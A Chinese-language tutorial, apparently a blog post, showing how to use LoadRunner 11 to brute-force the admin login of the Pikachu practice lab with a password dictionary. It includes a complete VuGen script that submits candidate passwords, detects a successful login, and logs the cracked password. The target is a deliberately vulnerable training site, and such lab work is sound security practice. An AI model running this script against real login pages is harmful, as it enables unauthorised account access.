使用loadrunner11开展爆破测试
备注:阅读本文需要一定的loadrunner11操作基础和代码编写基础,请各位预知。
本次爆破目标为pikachu靶场,访问地址:http://192.168.0.108/pikachu/
我们本次测试默认的弱口令admin 123456
1)使用函数声明变量msg,其中LB和RB是通过页面解析出来的左右边界,如果访问成功,LB和RB之间的结果是login success
Search=Body代表只搜索http响应体而不搜索响应头
web_reg_save_param("msg",
"LB=<span class=\"bigger-110\">Login</span>-->",
"RB=</div><!-- /.widget-main -->",
"Search=Body",
LAST);
2)web_submit_data中的Value={pwd}为字典值,选中原有的密码点击右键如下图开展参数化工作
web_submit_data("bf_form.php",
"Action=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php",
"Method=POST",
"RecContentType=text/html",
"Referer=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php",
"Snapshot=t19.inf",
"Mode=HTTP",
ITEMDATA,
"Name=username", "Value=admin", ENDITEM,
"Name=password", "Value={pwd}", ENDITEM,
"Name=submit", "Value=Login", ENDITEM,
LAST);
之后如下设置,Unique代表每个虚拟用户只能取一次值,Each iteration代表每次迭代只取一次
这里注意:如果显示的弱口令行数不够,需要修改:x:\Program Files (x86)\HP\LoadRunner\config\vugen.ini中MaxVisibleLines的值 其默认为100
我们可以点击Simulate Parameter进行模拟,这里要注意Vuser的数量必须可以被弱口令字典总数整除否则有些值会被略过
3)如果不包含登陆成功一律成功结束,否则在异常日志中打出密码,因为lr11在压测时默认不打正常日志,只关注异常日志,成功后使用lr_abort退出脚本
if(strstr(lr_eval_string("{msg}"),"login success") != NULL ){
lr_error_message("password is %s", lr_eval_string("{pwd}"));
lr_abort();
}
4)完整代码
Action()
{
web_add_cookie("PHPSESSID=qks5op6ak8mnu37si0kqv00ooo; DOMAIN=192.168.0.108");
web_reg_save_param("msg",
"LB=<span class=\"bigger-110\">Login</span>-->",
"RB=</div><!-- /.widget-main -->",
"Search=Body",
LAST);
web_submit_data("bf_form.php",
"Action=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php",
"Method=POST",
"RecContentType=text/html",
"Referer=http://192.168.0.108/pikachu/vul/burteforce/bf_form.php",
"Snapshot=t19.inf",
"Mode=HTTP",
ITEMDATA,
"Name=username", "Value=admin", ENDITEM,
"Name=password", "Value={pwd}", ENDITEM,
"Name=submit", "Value=Login", ENDITEM,
LAST);
lr_output_message(lr_eval_string("{msg}"));
if(strstr(lr_eval_string("{msg}"),"login success") != NULL ){
lr_error_message("password is %s", lr_eval_string("{pwd}"));
lr_abort();
}
return 0;
}
5)最大并发用户Vuser的数量必须可以被弱口令字典总数整除
直接启动5个用户,最大并发用户和系统稳定性有关系
6)最终结果,在右侧Errors中出现红色值就说明我们的异常日志打出来了,间接代表有密码猜解到